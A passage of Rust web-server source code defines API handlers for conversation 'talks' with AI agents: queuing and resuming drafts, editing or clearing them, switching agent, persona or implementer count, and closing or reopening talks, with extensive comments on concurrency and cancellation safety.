9967            ids.into_iter()
9968                .map(|att_id| {
9969                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9970                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9971                    })
9972                })
9973                .collect::<ApiResult<Vec<talk::Attachment>>>()
9974        })
9975        .await?
9976    };
9977    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9978        .await.map_err(ApiError::from)?;
9979
9980    // Pending recovery and a new immediate turn are decided under the same
9981    // claim lock. Without that one critical section, a second `/say` can see
9982    // the first request's claim as "busy" and append itself to the recovered
9983    // draft before the first request rejects it.
9984    let start = {
9985        let ui = Arc::clone(&ui);
9986        let id = id.clone();
9987        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9988    };
9989    let turn_guard = match start {
9990        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9991        TalkTurnStart::Pending => {
9992            return Err(ApiError::conflict(
9993                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9994            ));
9995        }
9996        TalkTurnStart::Foreign => {
9997            return Err(ApiError::conflict(
9998                "a turn is already running in another process; try again when it has finished",
9999            ));
10000        }
10001        TalkTurnStart::Busy => {
10002            // A turn is already running: queue rather than refuse. See
10003            // `Ui::begin_talk_turn` and `talk::queue`.
10004            //
10005            // The queue write and the drain it may owe live inside the task
10006            // `tokio::spawn` hands to the runtime, for the same reason the
10007            // immediate path below puts `record` there: a dropped handler
10008            // future must not be able to land between a durable write and
10009            // the task that answers it. `blocking` runs its closure on
10010            // `spawn_blocking`, which finishes whether or not anyone is left
10011            // to receive its result - so a disconnect at the `.await` below
10012            // would otherwise leave the draft persisted and the reclaimed
10013            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
10014            // ever started and the queued text stranded until some later
10015            // `say` happened to pick it up. The caller's 202 travels back
10016            // over a `oneshot`, sent the moment the write lands.
10017            let (tx, rx) = tokio::sync::oneshot::channel();
10018            tokio::spawn({
10019                let ui = Arc::clone(&ui);
10020                let id = id.clone();
10021                let said = body.text.clone();
10022                let reply_to = body.reply_to.clone();
10023                async move {
10024                    let written = blocking({
10025                        let ui = Arc::clone(&ui);
10026                        let id = id.clone();
10027                        move || {
10028                            let mut talk = ui.talks.get(&id)?;
10029                            // A test-only stop point, right before the write
10030                            // an interleaving test needs to pin - see
10031                            // `BusyQueueGate`. `None` in every real server:
10032                            // the field only exists under `#[cfg(test)]`.
10033                            #[cfg(test)]
10034                            if let Some(gate) = ui
10035                                .busy_queue_gate
10036                                .lock()
10037                                .unwrap_or_else(PoisonError::into_inner)
10038                                .take()
10039                            {
10040                                let _ = gate.reached.send(());
10041                                let _ = gate.release.recv();
10042                            }
10043                            if let Err(error) = talk::queue_reply(
10044                                &mut talk,
10045                                &ui.talks,
10046                                &said,
10047                                attachments,
10048                                reply_to,
10049                            ) {
10050                                if let Ok(fresh) = ui.talks.get(&id) {
10051                                    if !fresh.status.open() {
10052                                        return Err(ApiError::conflict(format!(
10053                                            "talk {} is {} and takes no more turns",
10054                                            fresh.short(),
10055                                            fresh.status.as_str()
10056                                        )));
10057                                    }
10058                                }
10059                                return Err(
10060                                    if error.to_string().contains("invalid reply target") {
10061                                        ApiError::bad_request("invalid reply target")
10062                                    } else {
10063                                        ApiError::from(error)
10064                                    },
10065                                );
10066                            }
10067                            // The turn that looked busy a moment ago can have
10068                            // finished, found nothing to drain and given up the
10069                            // slot in the gap between that check and this write
10070                            // landing - see `drain_loop`'s own doc for the other
10071                            // half of why that gap would otherwise be able to
10072                            // open at all. Reclaiming the slot here, rather than
10073                            // trusting that whoever held it is still watching, is
10074                            // what stops the text just queued from being stranded
10075                            // until an unrelated future `say` happens to drain
10076                            // it.
10077                            let claim = match ui.begin_queued_talk_turn(&id)? {
10078                                Some(turn_guard) => {
10079                                    let cfg = talk.config()?;
10080                                    Some((talk.clone(), cfg, turn_guard))
10081                                }
10082                                None => None,
10083                            };
10084                            let thinking = ui.is_thinking(&id);
10085                            Ok((TalkView::new(talk, thinking, &ui), claim))
10086                        }
10087                    })
10088                    .await;
10089                    #[cfg(not(test))]
10090                    {
10091                        match written {
10092                            Ok((view, reclaimed)) => {
10093                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
10094                                drop(reclaimed);
10095                                match launched {
10096                                    Ok(_) => { let _ = tx.send(Ok(view)); }
10097                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
10098                                }
10099                            }
10100                            Err(error) => { let _ = tx.send(Err(error)); }
10101                        }
10102                    }
10103                    #[cfg(test)]
10104                    {
10105                    let (view, reclaimed) = match written {
10106                        Ok(pair) => pair,
10107                        Err(e) => {
10108                            // Nobody is listening if the handler's own future
10109                            // was already dropped - that is fine, nothing was
10110                            // persisted and there is no response left to carry
10111                            // this error to.
10112                            let _ = tx.send(Err(e));
10113                            return;
10114                        }
10115                    };
10116                    // If this fails, the caller is gone; the drain below still
10117                    // runs exactly as it would have for a caller that stayed.
10118                    let _ = tx.send(Ok(view));
10119                    if let Some((talk, cfg, turn_guard)) = reclaimed {
10120                        let talks = ui.talks.clone();
10121                        drain_loop(talk, talks, cfg, id, turn_guard).await;
10122                    }
10123                    }
10124                }
10125            });
10126            let view = rx
10127                .await
10128                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
10129            return Ok((StatusCode::ACCEPTED, Json(view)));
10130        }
10131    };
10132
10133    let (talk, cfg) = {
10134        let ui = Arc::clone(&ui);
10135        let id = id.clone();
10136        blocking(move || {
10137            let talk = ui.talks.get(&id)?;
10138            let cfg = talk.config()?;
10139            Ok((talk, cfg))
10140        })
10141        .await?
10142    };
10143
10144    let talks = ui.talks.clone();
10145    // `record` runs *inside* the spawned task, rather than in this handler
10146    // followed by a separate `tokio::spawn` for `respond` - axum drops this
10147    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
10148    // doc), and that drop can land at any `.await` this function makes,
10149    // including one that has already produced its result but not yet
10150    // resumed. A message could end up recorded on disk with the handler
10151    // future gone before it ever reached the `tokio::spawn` that would have
10152    // started the reply. `tokio::spawn` itself is a plain, synchronous call
10153    // that hands the whole future to the runtime as one unit - once made, no
10154    // later drop of *this* handler's own future (that call's return value is
10155    // never held onto here) can reach back in and stop it, so record and the
10156    // hand-off to `respond` are unconditionally atomic from the client's
10157    // point of view. The immediate response this handler owes the caller
10158    // travels back over a `oneshot`, sent the moment `record` succeeds.
10159    let (tx, rx) = tokio::sync::oneshot::channel();
10160    tokio::spawn({
10161        #[cfg(test)]
10162        let ui = Arc::clone(&ui);
10163        let talks = talks.clone();
10164        let id = id.clone();
10165        let said = body.text.clone();
10166        let reply_to = body.reply_to.clone();
10167        let mut talk = talk.clone();
10168        async move {
10169            let recorded = blocking({
10170                let talks = talks.clone();
10171                move || {
10172                    if let Err(error) =
10173                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
10174                    {
10175                        if let Ok(fresh) = talks.get(&talk.id) {
10176                            if !fresh.status.open() {
10177                                return Err(ApiError::conflict(format!(
10178                                    "talk {} is {} and takes no more turns",
10179                                    fresh.short(),
10180                                    fresh.status.as_str()
10181                                )));
10182                            }
10183                        }
10184                        return Err(if error.to_string().contains("invalid reply target") {
10185                            ApiError::bad_request("invalid reply target")
10186                        } else {
10187                            ApiError::from(error)
10188                        });
10189                    }
10190                    // `record` mutates `talk` in place to the freshly persisted
10191                    // state (status, pending, and the just-appended operator
10192                    // turn), so returning it here is equivalent to re-reading it
10193                    // from disk - without the extra round trip a re-read would
10194                    // need.
10195                    Ok((said.trim().to_owned(), talk))
10196                }
10197            })
10198            .await;
10199            let (text, talk) = match recorded {
10200                Ok(pair) => pair,
10201                Err(e) => {
10202                    // Nobody is listening if the handler's own future was
10203                    // already dropped - that is fine, there is no response
10204                    // left to carry this error to and nothing was persisted.
10205                    let _ = tx.send(Err(e));
10206                    return;
10207                }
10208            };
10209            #[cfg(not(test))]
10210            {
10211                let _ = (&cfg, &text);
10212                // The reservation becomes durable while this process still
10213                // holds the talk lease. The child waits for that lease; the
10214                // new UI sees its startup reservation immediately.
10215                let result = crate::chat_worker::spawn_recorded_turn(
10216                    &talks, &id, talk.turns.len() - 1,
10217                ).await;
10218                drop(turn_guard);
10219                match result {
10220                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
10221                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
10222                }
10223            }
10224            #[cfg(test)]
10225            {
10226            let queued = talk.clone();
10227            let mut talk = talk;
10228            let thinking = ui.is_thinking(&id);
10229            // If this fails, the caller is gone; the turn still runs below
10230            // exactly as it would have for a caller that stayed connected.
10231            let _ = tx.send(Ok((queued, thinking)));
10232
10233            let turn_index = talk.turns.len() - 1;
10234            if let Err(e) = turn_guard
10235                .respond_at(&mut talk, &talks, &cfg, &text, Some(turn_index))
10236                .await
10237            {
10238                // `respond` records the failure in the transcript itself,
10239                // which is what the phone reads; this line is for the
10240                // operator's terminal.
10241                tracing::warn!("talk {id} turn failed: {e:#}");
10242            }
10243            // Anything `talk::queue` added while the turn above was running
10244            // is still owed an answer - see `drain_loop`.
10245            drain_loop(talk, talks, cfg, id, turn_guard).await;
10246            }
10247        }
10248    });
10249
10250    let (queued, thinking) = rx
10251        .await
10252        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
10253
10254    // 202: the operator's message is recorded and a turn is running.
10255    Ok((
10256        StatusCode::ACCEPTED,
10257        Json(TalkView::new(queued, thinking, &ui)),
10258    ))
10259    }).await
10260}
10261
10262/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
10263/// changing it. The turn guard is the same per-talk ownership `talk_say`
10264/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
10265async fn talk_pending_resume(
10266    State(ui): State<Arc<Ui>>,
10267    Path(id): Path<String>,
10268) -> ApiResult<(StatusCode, Json<TalkView>)> {
10269    let admission = ui.begin_admission()?;
10270    admitted(admission, async move {
10271        let id = {
10272            let ui = Arc::clone(&ui);
10273            let asked = id.clone();
10274            blocking(move || resolve_talk(&ui.talks, &asked)).await?
10275        };
10276        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10277            .await
10278            .map_err(ApiError::from)?;
10279        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10280            return Err(ApiError::conflict(
10281                "a talk turn is already running; the queued draft will be handled by it",
10282            ));
10283        };
10284        let (talk, cfg) = {
10285            let ui = Arc::clone(&ui);
10286            let id = id.clone();
10287            blocking(move || {
10288                let talk = ui.talks.get(&id)?;
10289                if !talk.status.open() {
10290                    return Err(ApiError::conflict(format!(
10291                        "talk {} is {} and takes no more turns",
10292                        talk.short(),
10293                        talk.status.as_str()
10294                    )));
10295                }
10296                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
10297                    return Err(ApiError::conflict("there is no queued draft to resume"));
10298                }
10299                let cfg = talk.config()?;
10300                Ok((talk, cfg))
10301            })
10302            .await?
10303        };
10304        let view = TalkView::new(talk.clone(), true, &ui);
10305        let talks = ui.talks.clone();
10306        #[cfg(not(test))]
10307        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10308        #[cfg(test)]
10309        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10310        Ok((StatusCode::ACCEPTED, Json(view)))
10311    })
10312    .await
10313}
10314
10315/// Hand off an admitted draft while retaining the talk lease until its
10316/// detached startup reservation is durable.
10317#[cfg(not(test))]
10318async fn detach_talk_turn(
10319    _talk: Talk,
10320    talks: Talks,
10321    _cfg: Config,
10322    id: String,
10323    turn: TalkTurnGuard,
10324) -> ApiResult<()> {
10325    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
10326    drop(turn);
10327    launched.map(|_| ()).map_err(ApiError::from)
10328}
10329
10330#[cfg(test)]
10331async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
10332    drain_loop_started(talk, talks, cfg, id, turn, None).await;
10333}
10334
10335/// A settings response must not report idle while its claim is still held.
10336/// Wait until the first drain either releases the claim or promotes a draft.
10337/// The task owns the guard even if the HTTP handler is cancelled while waiting.
10338async fn settle_settings_turn(
10339    talk: Talk,
10340    talks: Talks,
10341    cfg: Config,
10342    id: String,
10343    turn: TalkTurnGuard,
10344    observed: u64,
10345) -> bool {
10346    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
10347        let turns = Arc::clone(&turn.turns);
10348        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
10349        if live.queued.get(&id).copied().unwrap_or(0) == observed {
10350            // Release under the arrival lock; a later `/say` takes its own claim.
10351            turn.release(&mut live);
10352            return false;
10353        }
10354    }
10355    let (started, settled) = tokio::sync::oneshot::channel();
10356    tokio::spawn(drain_loop_started(
10357        talk,
10358        talks,
10359        cfg,
10360        id,
10361        turn,
10362        Some(started),
10363    ));
10364    settled.await.unwrap_or(false)
10365}
10366
10367#[cfg(not(test))]
10368async fn drain_loop_started(
10369    talk: Talk,
10370    talks: Talks,
10371    _cfg: Config,
10372    id: String,
10373    turn: TalkTurnGuard,
10374    started: Option<tokio::sync::oneshot::Sender<bool>>,
10375) {
10376    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
10377    let running = if pending {
10378        match crate::chat_worker::spawn_turn(&talks, &id).await {
10379            Ok(_) => true,
10380            Err(error) => {
10381                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
10382                false
10383            }
10384        }
10385    } else {
10386        false
10387    };
10388    drop(turn);
10389    if let Some(started) = started {
10390        let _ = started.send(running);
10391    }
10392}
10393
10394// Existing in-process conversation tests exercise transcript/arrival ordering;
10395// real process-lifetime behavior is covered by the CLI integration tests.
10396#[cfg(test)]
10397async fn drain_loop_started(
10398    mut talk: Talk,
10399    talks: Talks,
10400    cfg: Config,
10401    id: String,
10402    turn: TalkTurnGuard,
10403    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
10404) {
10405    let live_set = Arc::clone(&turn.turns);
10406    // `Option` rather than binding `turn` directly to a `_turn` that lives
10407    // for the whole function: releasing it has to happen by calling
10408    // `TalkTurnGuard::release` from inside the locked branch below, which
10409    // takes `self` by value. Left as a plain drop instead, `Drop` would still
10410    // remove the id - correctly, if this loop is ever left some other way -
10411    // but doing it there misses the lock this loop is already holding, which
10412    // is the exact gap `release` exists to close.
10413    let mut turn = Some(turn);
10414    loop {
10415        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
10416            // The lease was taken over while a turn ran. Whatever is queued
10417            // stays a draft; running it here would race the new owner.
10418            tracing::warn!("talk {id} lost its turn lease; not draining further");
10419            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10420            if let Some(turn) = turn.take() {
10421                turn.release(&mut live);
10422            }
10423            break;
10424        }
10425        // `talk::drain` takes the store lock and can write/rename the talk
10426        // file. Keep the turn mutex out of that synchronous work: it protects
10427        // every talk's in-memory claim, not this talk's disk operation.
10428        let observed = live_set
10429            .lock()
10430            .unwrap_or_else(PoisonError::into_inner)
10431            .queued
10432            .get(&id)
10433            .copied()
10434            .unwrap_or(0);
10435        let drained = blocking({
10436            let talks = talks.clone();
10437            move || {
10438                let result = talk::drain_indexed(&mut talk, &talks);
10439                Ok((talk, result))
10440            }
10441        })
10442        .await;
10443        let (next_talk, result) = match drained {
10444            Ok(drained) => drained,
10445            Err(e) => {
10446                tracing::warn!(
10447                    status = %e.status,
10448                    message = %e.message,
10449                    "talk {id} could not start queued-text drain"
10450                );
10451                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10452                turn.take()
10453                    .expect("held for the whole loop until released here")
10454                    .release(&mut live);
10455                break;
10456            }
10457        };
10458        talk = next_talk;
10459        let (drained, drained_index) = match result {
10460            Ok(Some(drained)) => drained,
10461            Ok(None) => {
10462                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10463                if live.queued.get(&id).copied().unwrap_or(0) != observed {
10464                    continue;
10465                }
10466                turn.take()
10467                    .expect("held for the whole loop until released here")
10468                    .release(&mut live);
10469                break;
10470            }
10471            Err(e) => {
10472                tracing::warn!("talk {id} could not drain queued text: {e:#}");
10473                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10474                turn.take()
10475                    .expect("held for the whole loop until released here")
10476                    .release(&mut live);
10477                break;
10478            }
10479        };
10480        if let Some(started) = started.take() {
10481            let _ = started.send(true);
10482        }
10483        let responded = match turn.as_ref() {
10484            Some(turn) => {
10485                turn.respond_at(&mut talk, &talks, &cfg, &drained, Some(drained_index))
10486                    .await
10487            }
10488            None => Err(anyhow::anyhow!("the turn guard was released")),
10489        };
10490        if let Err(e) = responded {
10491            tracing::warn!("talk {id} turn failed: {e:#}");
10492        }
10493    }
10494    drop(turn);
10495    if let Some(started) = started {
10496        let _ = started.send(false);
10497    }
10498}
10499
10500/// Clear a queued draft only if it remains exactly the one the caller saw.
10501async fn talk_pending_clear(
10502    State(ui): State<Arc<Ui>>,
10503    Path(id): Path<String>,
10504    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10505) -> ApiResult<Json<TalkView>> {
10506    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10507    blocking(move || {
10508        let id = resolve_talk(&ui.talks, &id)?;
10509        let mut talk = ui.talks.get(&id)?;
10510        if !talk.status.open() {
10511            return Err(ApiError::conflict(format!(
10512                "talk {} is {} and takes no more turns",
10513                talk.short(),
10514                talk.status.as_str()
10515            )));
10516        }
10517        if !talk::clear_pending_if_matches(
10518            &mut talk,
10519            &ui.talks,
10520            &body.expected_text,
10521            &body.expected_attachments,
10522        )? {
10523            return Err(ApiError::conflict(
10524                "queued message changed; reload it before clearing",
10525            ));
10526        }
10527        let thinking = ui.is_thinking(&talk.id);
10528        Ok(Json(TalkView::new(talk, thinking, &ui)))
10529    })
10530    .await
10531}
10532
10533/// Atomically edit a queued draft's text while preserving its attachments.
10534/// The snapshot fields make a concurrent queue or drain a conflict rather
10535/// than silently discarding either message.
10536async fn talk_pending_edit(
10537    State(ui): State<Arc<Ui>>,
10538    Path(id): Path<String>,
10539    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10540) -> ApiResult<Json<TalkView>> {
10541    let admission = ui.begin_admission()?;
10542    admitted(admission, async move {
10543        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10544        let id = {
10545            let ui = Arc::clone(&ui);
10546            blocking(move || resolve_talk(&ui.talks, &id)).await?
10547        };
10548        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10549            .await
10550            .map_err(ApiError::from)?;
10551        let (view, reclaimed) = blocking({
10552            let ui = Arc::clone(&ui);
10553            move || {
10554                let mut talk = ui.talks.get(&id)?;
10555                if !talk.status.open() {
10556                    return Err(ApiError::conflict(format!(
10557                        "talk {} is {} and takes no more turns",
10558                        talk.short(),
10559                        talk.status.as_str()
10560                    )));
10561                }
10562                if !talk::edit_pending_message(
10563                    &mut talk,
10564                    &ui.talks,
10565                    &body.text,
10566                    &body.expected_text,
10567                    &body.expected_attachments,
10568                    body.message,
10569                )? {
10570                    return Err(ApiError::conflict(
10571                        "queued message changed; reload it before editing",
10572                    ));
10573                }
10574                let claim = match ui.begin_queued_talk_turn(&id)? {
10575                    Some(turn_guard) => {
10576                        let cfg = talk.config()?;
10577                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10578                    }
10579                    None => None,
10580                };
10581                let thinking = ui.is_thinking(&id);
10582                Ok((TalkView::new(talk, thinking, &ui), claim))
10583            }
10584        })
10585        .await?;
10586        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10587            let talks = ui.talks.clone();
10588            #[cfg(not(test))]
10589            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10590            #[cfg(test)]
10591            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10592        }
10593        Ok(Json(view))
10594    })
10595    .await
10596}
10597
10598/// The 409 for a talk that takes no more turns.
10599fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10600    if talk.status.open() {
10601        return Ok(());
10602    }
10603    Err(ApiError::conflict(format!(
10604        "talk {} is {} and takes no more turns",
10605        talk.short(),
10606        talk.status.as_str()
10607    )))
10608}
10609
10610/// The body of `POST /api/talks/{id}/agent`.
10611#[derive(Debug, Deserialize)]
10612struct TalkAgent {
10613    agent: String,
10614}
10615
10616/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10617/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10618/// start a turn on the old session between the check and the write; one that
10619/// arrives in that window finds the talk busy and becomes a draft.
10620async fn talk_agent(
10621    State(ui): State<Arc<Ui>>,
10622    Path(id): Path<String>,
10623    Json(body): Json<TalkAgent>,
10624) -> ApiResult<Json<TalkView>> {
10625    let admission = ui.begin_admission()?;
10626    admitted(admission, async move {
10627        let id = {
10628            let ui = Arc::clone(&ui);
10629            blocking(move || resolve_talk(&ui.talks, &id)).await?
10630        };
10631        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10632            .await
10633            .map_err(ApiError::from)?;
10634        let cfg = {
10635            let ui = Arc::clone(&ui);
10636            let id = id.clone();
10637            blocking(move || Ok(ui.talks.get(&id)?.config()?)).await?
10638        };
10639        // Refuse before taking the claim; see `talk_implementers`.
10640        {
10641            let ui = Arc::clone(&ui);
10642            let id = id.clone();
10643            let cfg = cfg.clone();
10644            let wanted = body.agent.clone();
10645            blocking(move || {
10646                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10647                    .map_err(ApiError::bad_request_from)?;
10648                refuse_if_closed(&ui.talks.get(&id)?)
10649            })
10650            .await?;
10651        }
10652        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10653            return Err(ApiError::conflict(
10654                "a talk turn is running; change the agent once it has answered",
10655            ));
10656        };
10657        let switched = {
10658            let ui = Arc::clone(&ui);
10659            let id = id.clone();
10660            let cfg = cfg.clone();
10661            blocking(move || {
10662                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10663                    .map_err(ApiError::bad_request_from)?;
10664                let mut talk = ui.talks.get(&id)?;
10665                if !talk.status.open() {
10666                    return Err(ApiError::conflict(format!(
10667                        "talk {} is {} and takes no more turns",
10668                        talk.short(),
10669                        talk.status.as_str()
10670                    )));
10671                }
10672                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10673                Ok(talk)
10674            })
10675            .await
10676        };
10677        // A `/say` that landed while this held the claim saw the talk busy and
10678        // left a durable draft, trusting the claim's owner to drain it. So the
10679        // claim is settled whatever the outcome. Release an empty draft's claim
10680        // before replying; queued drafts continue independently of the handler.
10681        let observed = ui.queued_generation(&id);
10682        let fresh = {
10683            let ui = Arc::clone(&ui);
10684            let id = id.clone();
10685            blocking(move || Ok(ui.talks.get(&id)?)).await
10686        };
10687        let draining = match fresh {
10688            Ok(talk) => {
10689                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10690            }
10691            Err(_) => false,
10692        };
10693        let talk = switched?;
10694        Ok(Json(TalkView::new(talk, draining, &ui)))
10695    })
10696    .await
10697}
10698
10699/// The body of `POST /api/talks/{id}/persona`.
10700#[derive(Debug, Deserialize)]
10701struct TalkPersona {
10702    persona: String,
10703}
10704
10705/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10706/// like [`talk_agent`]: the turn guard is held for the change and always handed
10707/// to `drain_loop`, so a draft left meanwhile is not stranded.
10708async fn talk_persona(
10709    State(ui): State<Arc<Ui>>,
10710    Path(id): Path<String>,
10711    Json(body): Json<TalkPersona>,
10712) -> ApiResult<Json<TalkView>> {
10713    let admission = ui.begin_admission()?;
10714    admitted(admission, async move {
10715        let id = {
10716            let ui = Arc::clone(&ui);
10717            blocking(move || resolve_talk(&ui.talks, &id)).await?
10718        };
10719        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10720            .await
10721            .map_err(ApiError::from)?;
10722        let cfg = {
10723            let ui = Arc::clone(&ui);
10724            let id = id.clone();
10725            blocking(move || Ok(ui.talks.get(&id)?.config()?)).await?
10726        };
10727        // Refuse before taking the claim; see `talk_implementers`.
10728        {
10729            let ui = Arc::clone(&ui);
10730            let id = id.clone();
10731            let cfg = cfg.clone();
10732            let wanted = body.persona.clone();
10733            blocking(move || {
10734                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10735                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10736                }
10737                refuse_if_closed(&ui.talks.get(&id)?)
10738            })
10739            .await?;
10740        }
10741        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10742            return Err(ApiError::conflict(
10743                "a talk turn is running; change the persona once it has answered",
10744            ));
10745        };
10746        let switched = {
10747            let ui = Arc::clone(&ui);
10748            let id = id.clone();
10749            let cfg = cfg.clone();
10750            blocking(move || {
10751                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10752                    return Err(ApiError::bad_request(format!(
10753                        "unknown persona `{}`",
10754                        body.persona
10755                    )));
10756                };
10757                let mut talk = ui.talks.get(&id)?;
10758                if !talk.status.open() {
10759                    return Err(ApiError::conflict(format!(
10760                        "talk {} is {} and takes no more turns",
10761                        talk.short(),
10762                        talk.status.as_str()
10763                    )));
10764                }
10765                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10766                Ok(talk)
10767            })
10768            .await
10769        };
10770        // As in `talk_agent`: settle the claim before replying, even on refusal.
10771        let observed = ui.queued_generation(&id);
10772        let fresh = {
10773            let ui = Arc::clone(&ui);
10774            let id = id.clone();
10775            blocking(move || Ok(ui.talks.get(&id)?)).await
10776        };
10777        let draining = match fresh {
10778            Ok(talk) => {
10779                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10780            }
10781            Err(_) => false,
10782        };
10783        let talk = switched?;
10784        Ok(Json(TalkView::new(talk, draining, &ui)))
10785    })
10786    .await
10787}
10788
10789/// The body of `POST /api/talks/{id}/implementers`.
10790#[derive(Debug, Deserialize)]
10791struct TalkImplementers {
10792    implementers: u8,
10793}
10794
10795/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10796/// like [`talk_agent`]: the turn guard is held for the change and always handed
10797/// to `drain_loop`, so a draft left meanwhile is not stranded.
10798async fn talk_implementers(
10799    State(ui): State<Arc<Ui>>,
10800    Path(id): Path<String>,
10801    Json(body): Json<TalkImplementers>,
10802) -> ApiResult<Json<TalkView>> {
10803    let admission = ui.begin_admission()?;
10804    admitted(admission, async move {
10805        let id = {
10806            let ui = Arc::clone(&ui);
10807            blocking(move || resolve_talk(&ui.talks, &id)).await?
10808        };
10809        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10810            .await
10811            .map_err(ApiError::from)?;
10812        let cfg = {
10813            let ui = Arc::clone(&ui);
10814            let id = id.clone();
10815            blocking(move || Ok(ui.talks.get(&id)?.config()?)).await?
10816        };
10817        // Refuse a request that cannot succeed before taking the claim: a claim
10818        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10819        // moment, so a refusal would make the next request see "busy" instead of
10820        // its own answer. The checks after the claim stay the ones that decide.
10821        {
10822            let ui = Arc::clone(&ui);
10823            let id = id.clone();
10824            let cfg = cfg.clone();
10825            let wanted = body.implementers;
10826            blocking(move || {
10827                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10828                refuse_if_closed(&ui.talks.get(&id)?)
10829            })
10830            .await?;
10831        }
10832        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10833            return Err(ApiError::conflict(
10834                "a talk turn is running; change the implementers once it has answered",
10835            ));
10836        };
10837        let switched = {
10838            let ui = Arc::clone(&ui);
10839            let id = id.clone();
10840            let cfg = cfg.clone();
10841            blocking(move || {
10842                let chosen = talk::check_implementers(body.implementers, &cfg)
10843                    .map_err(ApiError::bad_request)?;
10844                let mut talk = ui.talks.get(&id)?;
10845                if !talk.status.open() {
10846                    return Err(ApiError::conflict(format!(
10847                        "talk {} is {} and takes no more turns",
10848                        talk.short(),
10849                        talk.status.as_str()
10850                    )));
10851                }
10852                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10853                Ok(talk)
10854            })
10855            .await
10856        };
10857        // As in `talk_agent`: settle the claim before replying, even on refusal.
10858        let observed = ui.queued_generation(&id);
10859        let fresh = {
10860            let ui = Arc::clone(&ui);
10861            let id = id.clone();
10862            blocking(move || Ok(ui.talks.get(&id)?)).await
10863        };
10864        let draining = match fresh {
10865            Ok(talk) => {
10866                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10867            }
10868            Err(_) => false,
10869        };
10870        let talk = switched?;
10871        Ok(Json(TalkView::new(talk, draining, &ui)))
10872    })
10873    .await
10874}
10875
10876/// `POST /api/talks/{id}/close`.
10877async fn talk_close(
10878    State(ui): State<Arc<Ui>>,
10879    Path(id): Path<String>,
10880) -> ApiResult<Json<TalkView>> {
10881    blocking(move || {
10882        let id = resolve_talk(&ui.talks, &id)?;
10883        let mut talk = ui.talks.get(&id)?;
10884        talk::close(&mut talk, &ui.talks).map_err(|error| {
10885            if error.is::<talk::ClosePendingInput>() {
10886                ApiError::conflict(format!("{error:#}"))
10887            } else {
10888                ApiError::from(error)
10889            }
10890        })?;
10891        let thinking = ui.is_thinking(&talk.id);
10892        Ok(Json(TalkView::new(talk, thinking, &ui)))
10893    })
10894    .await
10895}
10896
10897/// `POST /api/talks/{id}/reopen`.
10898async fn talk_reopen(
10899    State(ui): State<Arc<Ui>>,
10900    Path(id): Path<String>,
10901) -> ApiResult<Json<TalkView>> {
10902    blocking(move || {
10903        let id = resolve_talk(&ui.talks, &id)?;
10904        let mut talk = ui.talks.get(&id)?;
10905        talk::reopen(&mut talk, &ui.talks)?;
